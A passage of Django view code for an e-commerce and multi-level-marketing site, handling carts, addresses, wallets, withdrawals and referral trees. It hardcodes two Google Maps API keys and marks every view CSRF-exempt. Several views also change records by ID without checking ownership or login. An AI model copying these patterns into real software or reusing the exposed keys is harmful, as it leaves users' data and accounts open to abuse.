')\n\n@csrf_exempt\ndef update_cart_item(request):\n\tcart = Cart.objects.get(user=request.user)\n\tprint(\"cart=>\", cart)\n\titem = CartItems.objects.get(id=request.GET.get('item'))\n\tprint(\"item\", item)\n\tnew_quantity = int(request.GET.get('quantity'))\n\tif new_quantity > item.quantity:\n\t\tprint('1')\n\t\tupdated_quantity = new_quantity - item.quantity\n\t\ttotal_price = item.total_cost + (item.product.price * updated_quantity)\n\t\tprice = item.product.price\n\t\tCartItems.objects.filter(id=request.GET.get('item')).update(\n\t\t\tquantity = new_quantity,\n\t\t\tper_item_cost = price,\n\t\t\ttotal_cost = total_price\n\t\t)\n\t\tsubtotal = cart.subtotal + (updated_quantity*price)\n\t\tCart.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\tcalculate_cart_tax(request)\n\telse:\n\t\tprint('2')\n\t\tupdated_quantity = item.quantity - new_quantity\n\t\ttotal_price = item.total_cost - (item.product.price * updated_quantity)\n\t\tprice = item.product.price\n\t\tCartItems.objects.filter(id=request.GET.get('item')).update(\n\t\t\tquantity = new_quantity,\n\t\t\tper_item_cost = price,\n\t\t\ttotal_cost = total_price\n\t\t)\n\t\tsubtotal = cart.subtotal - (int(updated_quantity)*item.product.price)\n\t\tCart.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\tcalculate_cart_tax(request)\n\tcart = Cart.objects.get(user=request.user)\n\tdic = {\n\t\t'item_total':CartItems.objects.get(id=request.GET.get('item')).total_cost,\n\t\t'subtotal':cart.subtotal,\n\t\t'tax':cart.tax,\n\t\t'delivery':cart.delivery_charges,\n\t\t'total':cart.total\n\t}\n\treturn JsonResponse(dic)\n@csrf_exempt\ndef remove_cart_item(request):\n\tcart = Cart.objects.get(user=request.user)\n\titem = CartItems.objects.get(id=request.GET.get('item'))\n\tsubtotal = cart.subtotal - item.total_cost\n\tCartItemVariant.objects.filter(cartitem=CartItems.objects.get(id=request.GET.get('item'))).delete()\n\tCartItems.objects.filter(id=request.GET.get('item')).delete()\n\tCart.objects.filter(user=request.user).update(subtotal=subtotal)\n\tcalculate_cart_tax(request)\n\tcart = Cart.objects.get(user=request.user)\n\tif len(CartItems.objects.filter(cart=cart)) == 0:\n\t\tempty = '1'\n\telse:\n\t\tempty = '0'\n\tdic = {\n\t\t'subtotal':cart.subtotal,\n\t\t'tax':cart.tax,\n\t\t'delivery':cart.delivery_charges,\n\t\t'total':cart.total,\n\t\t'empty':empty\n\t}\n\treturn JsonResponse(dic)\n@csrf_exempt\ndef remove_wishlist_item(request):\n\twishlist = Wishlist.objects.get(user=request.user)\n\titem = WishlistItems.objects.get(id=request.GET.get('item'))\n\tsubtotal = wishlist.subtotal - item.total_cost\n\tWishlistItemVariant.objects.filter(wishlistitem=WishlistItems.objects.get(id=request.GET.get('item'))).delete()\n\tWishlistItems.objects.filter(id=request.GET.get('item')).delete()\n\tWishlist.objects.filter(user=request.user).update(subtotal=subtotal)\n\twishlist = Wishlist.objects.get(user=request.user)\n\tif len(WishlistItems.objects.filter(wishlist=wishlist)) == 0:\n\t\tempty = '1'\n\telse:\n\t\tempty = '0'\n\tdic = {\n\t\t'subtotal':wishlist.subtotal,\n\t\t'tax':wishlist.tax,\n\t\t'delivery':wishlist.delivery_charges,\n\t\t'total':wishlist.total,\n\t\t'empty':empty\n\t}\n\treturn JsonResponse(dic)\n\n@csrf_exempt\ndef my_address(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tlocation = request.POST.get('location')\n\t\t\tname = request.POST.get('name')\n\t\t\thome_no = request.POST.get('home_no')\n\t\t\tlandmark = request.POST.get('landmark')\n\t\t\tcity = request.POST.get('city')\n\t\t\tpincode = request.POST.get('pincode')\n\t\t\tstate = request.POST.get('state')\n\t\t\tcontact = request.POST.get('contact')\n\t\t\tif len(Address.objects.filter(user=request.user)) == 0:\n\t\t\t\tdefault = True\n\t\t\telse:\n\t\t\t\tdefault = False\n\t\t\tgmaps = googlemaps.Client(key='AIzaSyCEjY246d9MYQIe69nPzV_ceogrpglpY0Q')\n\t\t\tif location:\n\t\t\t\t# add_lat_long = gmaps.geocode(location)\n\t\t\t\t# lat = add_lat_long[0]['geometry']['location']['lat']\n\t\t\t\t# lng = add_lat_long[0]['geometry']['location']['lng']\n\t\t\t\tlat = 28.7983\n\t\t\t\tlng = 79.0220\n\t\t\t\tAddress.objects.create(\n\t\t\t\t\tuser = request.user,\n\t\t\t\t\tlatitude = lat,\n\t\t\t\t\tlongitude = lng,\n\t\t\t\t\tname = name,\n\t\t\t\t\thome_no = home_no,\n\t\t\t\t\tlandmark = landmark,\n\t\t\t\t\tcity = city,\n\t\t\t\t\tpincode = pincode,\n\t\t\t\t\tstate = state,\n\t\t\t\t\tcontact = contact,\n\t\t\t\t\tdefault = default\n\t\t\t\t)\n\t\t\t\tmessages.success(request, 'Address Added Successfully !!!!')\n\t\t\tcode = ''\n\t\t\tfor x in Address.objects.filter(user=request.user):\n\t\t\t\tcode = code + ''\n\t\t\t\tcode = code + ''+x.name+''\n\t\t\t\tcode = code + ''+x.home_no+''\n\t\t\t\tcode = code + ''+x.landmark+''\n\t\t\t\tcode = code + ''+x.city+''\n\t\t\t\tcode = code + ''+x.pincode+''\n\t\t\t\tcode = code + ''+x.state+''\n\t\t\t\tcode = code + ''+x.contact+''\n\t\t\t\tcode = code + ''\n\t\t\tdic = {'data':code, 'msg':'Address Added Successfully !!!!'}\n\t\t\t\n\t\t\t# return JsonResponse(dic)\n\t\treturn render(request, 'user_app/my-address.html', {'user':UserData.objects.get(user=request.user), 'data':Address.objects.filter(user=request.user)})\n\telse:\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef user_set_default_address(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'GET':\n\t\t\tid_ = request.GET.get('id')\n\t\t\tAddress.objects.filter(user=request.user).update(default=False)\n\t\t\tAddress.objects.filter(id=id_).update(default=True)\n\t\t\taddress = Address.objects.get(id=id_)\n\t\t\tcode = address.name+'DEFAULT'\n\t\t\treturn HttpResponse(code)\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef add_new_address(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tlocation = request.POST.get('location')\n\t\t\tname = request.POST.get('name')\n\t\t\thome_no = request.POST.get('home_no')\n\t\t\tlandmark = request.POST.get('landmark')\n\t\t\tcity = request.POST.get('city')\n\t\t\tpincode = request.POST.get('pincode')\n\t\t\tstate = request.POST.get('state')\n\t\t\tcontact = request.POST.get('contact')\n\t\t\tif len(Address.objects.filter(user=request.user)) == 0:\n\t\t\t\tdefault = True\n\t\t\telse:\n\t\t\t\tdefault = False\n\t\t\tgmaps = googlemaps.Client(key='AIzaSyCEjY246d9MYQIe69nPzV_ceogrpglpY0Q')\n\t\t\tif location:\n\t\t\t\t# add_lat_long = gmaps.geocode(location)\n\t\t\t\t# lat = add_lat_long[0]['geometry']['location']['lat']\n\t\t\t\t# lng = add_lat_long[0]['geometry']['location']['lng']\n\t\t\t\tlat= 28.7983\n\t\t\t\tlng = 79.0220\n\t\t\t\tAddress.objects.create(\n\t\t\t\t\tuser = request.user,\n\t\t\t\t\tlatitude = lat,\n\t\t\t\t\tlongitude = lng,\n\t\t\t\t\tname = name,\n\t\t\t\t\thome_no = home_no,\n\t\t\t\t\tlandmark = landmark,\n\t\t\t\t\tcity = city,\n\t\t\t\t\tpincode = pincode,\n\t\t\t\t\tstate = state,\n\t\t\t\t\tcontact = contact,\n\t\t\t\t\tdefault = default\n\t\t\t\t)\n\t\t\treturn redirect('/selectaddress/?cart='+request.session['cart_id'])\n\t\treturn render(request, 'user_app/my-address.html', {'user':UserData.objects.get(user=request.user), 'data':Address.objects.filter(user=request.user)})\n\telse:\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef my_order(request):\n\tif check_user_authentication(request, 'User'):\n\t\tstore_id = request.GET.get('store')\n\t\torders = []\n\t\tif store_id:\n\t\t\tstore = Store.objects.get(id=store_id)\n\t\t\torders = get_my_orders(request.user, store)\n\t\telse:\n\t\t\torders = get_my_orders(request.user)\n\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'orders':orders,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/my_order.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\ndef enable_self_pickup(request):\n\tcheck = request.GET.get('self')\n\tif check == '1':\n\t\tCart.objects.filter(id=request.GET.get('c')).update(self_pickup=True)\n\telse:\n\t\tCart.objects.filter(id=request.GET.get('c')).update(self_pickup=False)\n\tcalculate_cart_tax(request)\n\treturn JsonResponse({'response':'success'})\n\n@csrf_exempt\ndef save_location(request):\n\tif check_user_authentication(request, 'User'):\n\t\taddress = request.GET.get('location')\n\t\tgmaps = googlemaps.Client(key='AIzaSyBqBF76cMbvE_LREvm1S43LzZGxTsRQ0wA')\n\t\tif address:\n\t\t\tadd_lat_long = gmaps.geocode(address)\n\t\t\tlat = add_lat_long[0]['geometry']['location']['lat']\n\t\t\tlng = add_lat_long[0]['geometry']['location']['lng']\n\t\tUserData.objects.filter(user=request.user).update(\n\t\t\tlatitude=lat,\n\t\t\tlongitude=lng\n\t\t)\n\t\treturn JsonResponse({'response':'success'})\n@csrf_exempt\ndef user_wallet(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif not Wallet.objects.filter(user=request.user).exists():\n\t\t\tWallet.objects.create(user=request.user)\n\t\tdic = {'user':UserData.objects.get(user=request.user),\n\t\t\t'wallet':Wallet.objects.filter(user=request.user).first(),\n\t\t\t'wallet_transactions':WalletTransaction.objects.filter(wallet=Wallet.objects.filter(user=request.user).first()).order_by('-transaction_date'),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/wallet-dash.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef user_pv_wallet(request):\n\tif check_user_authentication(request, 'User'):\n\t\tprint(UserData.objects.get(user=request.user).pv,'PPPPPPPPPPPPPP')\n\t\tdic = {'user':UserData.objects.get(user=request.user),\n\t\t\t'pv':fetch_pv(request.user),\n\t\t\t'transactions':fetch_pv_transactions(request.user),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/pv.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef genealogyTree_binary(request):\n\tif check_user_authentication(request, 'User'):\n\t\ttree=fetch_user_tree(request.user)\n\t\ttreesss=fetch_empty_nodes(request.user)\n\t\tprint(treesss,'TTTT')\n\t\t# print(treesss['left'],'LLLLLLLLLLLLLLLLLLLLLLLLLL')\n\t\tprint(treesss['right'],'RRRRRRRRRRRRRRRRRRRRRRRRR')\n\n\t\t# count = 0\n\t\tfor userl in treesss['left']:\n\t\t\t# if count < 1:\n\t\t\tleft_empty=fetch_empty_nodesmlmleft(userl)\n\t\t\tfor user in left_empty['left']:\n\t\t\t\tprint(user,'LeftlllllllLLLL')\n\t\t\t\t# count += 1\n\n\t\tcount = 0\n\t\tfor userr in treesss['right']:\n\t\t\tif count < 1:\n\t\t\t\tright_empty=fetch_empty_nodesmlmright(userr)\n\t\t\t\tfor user in right_empty['right']:\n\t\t\t\t\tprint(user,'RightlllllllLLLL')\n\t\t\t\tcount += 1\n\t\n\t\t\n\t\tnode=MLM.objects.filter(node=request.user)\n\t\tnode_V=MLM.objects.filter(node=request.user).first()\n\t\t\n\t\tusrpv = UserPV.objects.get(user=request.user)\n\t\tif node_V.left is not None:\n\t\t\tnodel=MLM.objects.filter(node=node_V.left)\n\t\t\tfor x in nodel:\n\t\t\t\tprint(x.left,'XXXXLLLLLL')\n\t\t\tusrpvl = UserPV.objects.get(user=node_V.left)\n\t\t\tnoder=MLM.objects.filter(node=node_V.right)\n\t\tif node_V.right is not None:\n\t\t\tusrpvr = UserPV.objects.get(user=node_V.right)\n\t\telse:\n\t\t\tprint('None')\n\t\t\n\t\tif request.method == \"POST\":\n\t\t\t\n\t\t\tuser1 = request.POST.get('user1')\n\t\t\tuser2 = request.POST.get('user2')\n\t\t\tuser3 = request.POST.get('user3')\n\t\t\tuser4 = request.POST.get('user4')\n\t\t\t\n\t\t\t# print(user,'lllUUUUUU')\n\t\t\tnodes1=MLM.objects.filter(node__email=user1)\n\t\t\tprint(nodes1,'NNNNN')\n\t\t\tnodes_v1=MLM.objects.filter(node__email=user1).first()\n\t\t\tif nodes_v1 is not None:\n\t\t\t\tif nodes_v1.left and nodes_v1.right is not None:\n\t\t\t\t\tusrpvsl1 = UserPV.objects.get(user__email=nodes_v1.left)\n\t\t\t\t\tusrpvsr1 = UserPV.objects.get(user__email=nodes_v1.right)\n\t\t\t\telse:\n\t\t\t\t print('None')\t\n\t\t\telse:\n\t\t\t\tprint('None')\n\t\t\tnodes2=MLM.objects.filter(node__email=user2)\n\t\t\tnodes_v2=MLM.objects.filter(node__email=user2).first()\n\t\t\tif nodes_v2 is not None:\n\t\t\t\tif nodes_v2.left and nodes_v2.right is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t usrpvsl2 = UserPV.objects.get(user__email=nodes_v2.left)\n\t\t\t\t\texcept UserPV.DoesNotExist:\n\t\t\t\t\t\tusrpvsl2 = None\n\t\t\t\t\ttry:\n\t\t\t\t\t usrpvsr2 = UserPV.objects.get(user__email=nodes_v2.right)\n\t\t\t\t\texcept UserPV.DoesNotExist:\n\t\t\t\t\t\tusrpvsr2 = None\n\t\t\t\telse:\n\t\t\t\t print('None')\n\t\t\telse:\n\t\t\t\tprint('None')\n\n\t\t\tnodes3=MLM.objects.filter(node__email=user3)\n\t\t\tnodes_v3=MLM.objects.filter(node__email=user3).first()\n\t\t\tif nodes_v3 is not None:\n\t\t\t\tif nodes_v3.left and nodes_v3.right is not None:\n\t\t\t\t\tusrpvsl3 = UserPV.objects.get(user__email=nodes_v3.left)\n\t\t\t\t\tusrpvsr3 = UserPV.objects.get(user__email=nodes_v3.right)\n\t\t\t\telse:\n\t\t\t\t\tprint('None')\t\n\t\t\telse:\n\t\t\t\tprint('None')\n\t\t\tnodes4=MLM.objects.filter(node__email=user4)\n\t\t\tnodes_v4=MLM.objects.filter(node__email=user4).first()\n\t\t\tif nodes_v4 is not None:\n\t\t\t\tif nodes_v4.left and nodes_v4.right is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tusrpvsl4 = UserPV.objects.get(user__email=nodes_v4.left)\n\t\t\t\t\texcept UserPV.DoesNotExist:\n\t\t\t\t\t\tusrpvsl4 = None\n\t\t\t\t\ttry:\n\t\t\t\t\t\tusrpvsr4 = UserPV.objects.get(user__email=nodes_v4.right)\n\t\t\t\t\texcept UserPV.DoesNotExist:\n\t\t\t\t\t\tusrpvsr4 = None\n\t\t\t\telse:\n\t\t\t\t\tprint('None')\n\t\t\telse:\n\t\t\t\tprint('None')\n\n\t\t\n\t\t\tif nodes_v1 and nodes_v2 and nodes_v3 and nodes_v4 is not None:\n\t\t\t\tif nodes_v1.left and nodes_v1.right or nodes_v2.left and nodes_v2.right or nodes_v3.left and nodes_v3.right or nodes_v4.left and nodes_v4.right is not None:\n\t\t\t\t\tdic = {\n\t\t\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t\t\t'tree':fetch_user_tree(request.user),\n\t\t\t\t\t\t'nodel':nodel,\n\t\t\t\t\t\t'noder':noder,\n\t\t\t\t\t\t'trees':node,\n\t\t\t\t\t\t'nodes1':nodes1,\n\t\t\t\t\t\t'nodes2':nodes2,\n\t\t\t\t\t\t'nodes3':nodes3,\n\t\t\t\t\t\t'nodes4':nodes4,\n\t\t\t\t\t\t'usrpvsl1':usrpvsl1,\n\t\t\t\t\t\t'usrpvsl2':usrpvsl2,\n\t\t\t\t\t\t'usrpvsl3':usrpvsl3,\n\t\t\t\t\t\t'usrpvsl4':usrpvsl4,\n\t\t\t\t\t\t'usrpvsr1':usrpvsr1,\n\t\t\t\t\t\t'usrpvsr2':usrpvsr2,\n\t\t\t\t\t\t'usrpvsr3':usrpvsr3,\n\t\t\t\t\t\t'usrpvsr4':usrpvsr4,\n\n\t\t\t\t\t\t'user':request.user,\n\t\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t\t\t}\n\t\t\t\telse:\n\t\t\t\t\tprint('None')\n\t\t\t\t\tdic = {\n\t\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t\t'tree':fetch_user_tree(request.user),\n\t\t\t\t\t'nodel':nodel,\n\t\t\t\t\t'noder':noder,\n\t\t\t\t\t'trees':node,\n\t\t\t\t\t'nodes1':nodes1,\n\t\t\t\t\t'nodes2':nodes2,\n\t\t\t\t\t'nodes3':nodes3,\n\t\t\t\t\t'nodes4':nodes4,\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t'user':request.user,\n\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t\t}\n\t\t\telse:\n\t\t\t\tprint('None')\n\t\t\t\tdic = {\n\t\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t\t'tree':fetch_user_tree(request.user),\n\t\t\t\t\t'nodel':nodel,\n\t\t\t\t\t'noder':noder,\n\t\t\t\t\t'trees':node,\n\n\t\t\t\t\t'nodes1':nodes1,\n\t\t\t\t\t'nodes2':nodes2,\n\t\t\t\t\t'nodes3':nodes3,\n\t\t\t\t\t'nodes4':nodes4,\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t'user':request.user,\n\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t\t}\n\t\t\treturn render(request, 'user_app/genealogyTree_binary.html',dic)\n\t\tif node_V.left is not None:\t\n\t\t\treturn render(request, 'user_app/genealogyTree_binary.html',{'trees':node,'usrpv':usrpv,'usrpvl':usrpvl,'nodel':nodel,\n\t\t\t\t\t\t'noder':noder,})\n\t\t\n\t\tif node_V.right is not None:\t\t\t\t\t\n\t\t return render(request, 'user_app/genealogyTree_binary.html',{'trees':node,'usrpv':usrpv,'usrpvr':usrpvr,\n\t\t\t\t\t\t})\n\t\telse:\n\t\t\tprint('None')\n\t\t\treturn render(request, 'user_app/genealogyTree_binary.html',{'trees':node,'usrpv':usrpv})\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef genealogyTree_level(request):\n\tif check_user_authentication(request, 'User'):\n\t\tsponser =Level_Plan_Sponsors.objects.all()\n\t\treferal_obj = Level_Plan_Referrals.objects.filter(referrals__id=request.user.id).first()\n\t\tif referal_obj is not None:\n\t\t # print(referal_obj.referrals,\"SSSS\")\n\t\t\tusrpv = UserPV.objects.get(user__email=referal_obj.referrals)\n\t\telse:\n\t\t\tprint('None')\n\t\treferals = Level_Plan_Referrals.objects.filter(level_plan_referral=referal_obj)\n\t\tprint(referals,'RRRRRRRRRRr')\n\t\treferalss = Level_Plan_Referrals.objects.filter(level_plan_referral=referal_obj).first()\n\t\tprint(referalss)\n\t\tif referalss is not None:\n\t\t\tusrpvs = UserPV.objects.get(user__email=referalss.referrals)\n\n\t\t\tprint(usrpvs,'PPPPPPPPPP')\n\t\telse:\n\t\t\tprint(\"None\")\n\n\t\tif request.method == \"POST\":\n\t\t\t\n\t\t\tuserss = request.POST.get('userss')\n\t\t\tprint(userss,'UUUUUSSSSSSSSSSSSSSSSSS')\n\t\t\treferal_user = Level_Plan_Referrals.objects.filter(referrals__id=userss).first()\n\t\t\treferals_user = Level_Plan_Referrals.objects.filter(level_plan_referral=referal_user)\n \n\t\t\tprint(referal_user,referals_user,'RRRRUUUUUUUUUU')\n\t\t \n\t\t\tdic = {\n\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t'referals':referals,'usrpv':usrpv,\n\t\t\t\t'sponser_r':referal_obj.referrals,\n\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t'referals_user':referals_user,\n\t\t\t\t\n\t\t\t}\n\t\t\treturn render(request, 'user_app/genealogyTree_level.html',dic)\n\t\t\t\n\t\t\t\n\t\tif referal_obj or referalss is not None:\t\n\t\t\t\n\t\t\n\t\t\tdic = {\n\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t'referals':referals,'usrpv':usrpv,\n\t\t\t\t'sponser_r':referal_obj.referrals,\n\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t}\n\n\t\t\n\t\telse:\n\t\t\tprint('none')\n\t\t\tdic = {\n\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t'referals':referals,'usrpvs':usrpvs,\n\t\t\t\t'sponser_r':referal_obj,\n\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t}\n\t\treturn render(request, 'user_app/genealogyTree_level.html',dic)\n\telse:\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef user_tree(request):\n\tif check_user_authentication(request, 'User'):\n\t\n\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'tree':fetch_user_tree(request.user),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/tree.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef user_save_product_rating(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tproduct = Product.objects.get(id=request.POST.get('product'))\n\t\t\trating = request.POST.get('rating')\n\t\t\tprint(rating)\n\t\t\treview = request.POST.get('review')\n\t\t\tprint(review)\n\t\t\tuser = request.user\n\t\t\tif not ProductRating.objects.filter(user=user, product=product).exists():\n\t\t\t\tProductRating.objects.create(user=user, product=product, rating=rating, review=review)\n\t\t\telse:\n\t\t\t\tProductRating.objects.update(user=user, product=product, rating=rating, review=review)\n\t\t\treturn redirect('/user/myorder')\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef user_withdraw(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tamount = float(request.POST.get('amount'))\n\t\t\tprint(amount,'AAAAAAAAAAAA')\n\t\t\tif amount < 500:\n\t\t\t\tmessages.success(request, 'Withdrawl amount must be greater than 500.')\n\t\t\t\treturn redirect('/user/withdraw')\n\t\t\tflag = True\n\t\t\tfor x in UserWithdrawRequest.objects.filter(user=request.user):\n\t\t\t\tif x.is_active == 0 or x.is_active == 1:\n\t\t\t\t\tflag = False\n\t\t\t\t\tbreak\n\t\t\tif flag:\n\t\t\t\ttds = ((amount/100)*5)\n\t\t\t\tcredited_amount = amount - tds\n\t\t\t\tUserWithdrawRequest.objects.create(\n\t\t\t\t\tuser = request.user,\n\t\t\t\t\trequest_date = timezone.now(),\n\t\t\t\t\tamount = amount,\n\t\t\t\t\tcredited_amount = credited_amount,\n\t\t\t\t\ttds = tds\n\t\t\t\t)\n\t\t\t\n\t\t\t\tmessages.success(request, 'We have received your payment withdraw request. Your payment wil be credited in your account in 3 working days after approval.')\n\t\t\t\treturn redirect('/user/withdraw')\n\t\t\telse:\n\t\t\t\tmessages.success(request, 'You already have a withdrawl request pending, please wait for it to credit.')\n\t\t\t\treturn redirect('/user/withdraw')\n\t\tflag = True\n\t\tif PaymentInfo.objects.filter(user=request.user).exists():\n\t\t\tflag = True\n\t\telse:\n\t\t\tflag = False\n\t\tif not Wallet.objects.filter(user=request.user).exists():\n\t\t\tWallet.objects.create(user=request.user)\n\t\tif not CreditedMoney.objects.filter(user=request.user).exists():\n\t\t\tCreditedMoney.objects.create(user=request.user)\n\n\t\tif not TDS_Log_Wallet.objects.filter(user=request.user).exists():\n\t\t\tTDS_Log_Wallet.objects.create(user=request.user)\n\n\t\n\t\tdic = {\n\t\t\t'user':UserData.objects.filter(user=request.user).first(),\n\t\t\t'flag':flag,\n\t\t\t'wallet':Wallet.objects.filter(user=request.user).first(),\n\t\t\t'data':UserWithdrawRequest.objects.filter(user=request.user),\n\t\t\t'creditedlimit':CreditedMoney.objects.filter(user=request.user).first(),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/withdraw.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\n\n@csrf_exempt\ndef user_save_paymentinfo(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tpan = request.FILES['pan']\n\t\t\taadhar = request.FILES['aadhar']\n\t\t\tnumber = request.POST.get('number')\n\t\t\tname = request.POST.get('name')\n\t\t\tifsc = request.POST.get('ifsc')\n\t\t\tif not PaymentInfo.objects.filter(user=request.user).exists():\n\t\t\t\tPaymentInfo.objects.create(\n\t\t\t\t\tuser = request.user,\n\t\t\t\t\taccount_no = number,\n\t\t\t\t\tbank_name = name,\n\t\t\t\t\tifsc = ifsc,\n\t\t\t\t\tpan = pan,\n\t\t\t\t\taadhar = aadhar\n\t\t\t\t)\n\t\t\tmessages.success(request, 'Payment Details Saved Successfully')\n\t\t\treturn redirect('/user/withdraw')\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef user_help(request):\n\tif check_user_authentication(request, 'User'):\n\t\tuser=User.objects.filter(username='admin').first()\n\t\tprint(user,'UUUUUU')\n\t\tif request.method == 'POST':\n\t\t\tsubject = request.POST.get('subject')\n\t\t\tmessage = request.POST.get('message')\n\t\t\timage = request.FILES['image']\n\t\t\tQuery.objects.create(user=request.user, query_date=timezone.now(), subject=subject, message=message,image=image)\n\t\t\tmessages.success(request, 'Query Received')\n\t\t\tuser=User.objects.filter(username='admin').first()\n\t\t\tprint(user,'UUUUUU')\n\t\t\tnotification(user,'New Query Received')\n\t\t\treturn redirect('/user/help')\n\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'queries':Query.objects.filter(user=request.user),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/help.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n@csrf_exempt\ndef user_product_query(request):\n\tif check_user_authentication(request, 'User'):\n\t\torder = OrderItems.objects.get(id=request.GET.get('order'))\n\t\tdic = {\n\t\t\t'order':order,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/product-query.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n@csrf_exempt\ndef user_cancel_order(request):\n\tif check_user_authentication(request, 'User'):\n\t\torder = OrderItems.objects.get(id=request.GET.get('order'))\n\t\t# reason = OrderItems.objects.get(reason)\n\t\tdic = {\n\t\t\t'order':order,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/cancel-order.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n@csrf_exempt\ndef cancel_confirm(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\torder_id = request.POST.get('order_id')\n\t\t\tprint(order_id)\n\t\t\treason = request.POST.get('reason')\n\t\t\tprint(reason)\n\t\t\tobj = OrderItems.objects.get(id=order_id, order__user__username=request.user)\n\t\t\tobj.cancelled_on = timezone.now()\n\t\t\tobj.cancellation_reason = reason\n\t\t\tobj.delivery_is_active = 'Cancelled'\n\t\t\tif obj:\n\t\t\t\tobj.save()\n\t\t\t\tprint(obj)\n\t\t\t\tmessages.success(request, 'Order Cancelled!')\n\t\t\t\tdic = {\n\t\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t}\n\t\t\t\tnotification(request.user, 'Order Cancelled Successfully!')\n\t\t\t\treturn redirect('/user/myorder', dic)\n\t\t\telse:\n\t\t\t\tprint('hello')\n\t\t\t\tdic = {\n\t\t\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t}\n\t\t\t\tmessages.error(request, 'Please enter Valid data.')\n\t\t\t\treturn redirect('/user/myorder', dic)\n\t\t\t# except:\n\t\t\t# \tprint('hnhjhj')\n\t\t\t# \treturn render(request, 'user_app/my_order.html')\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

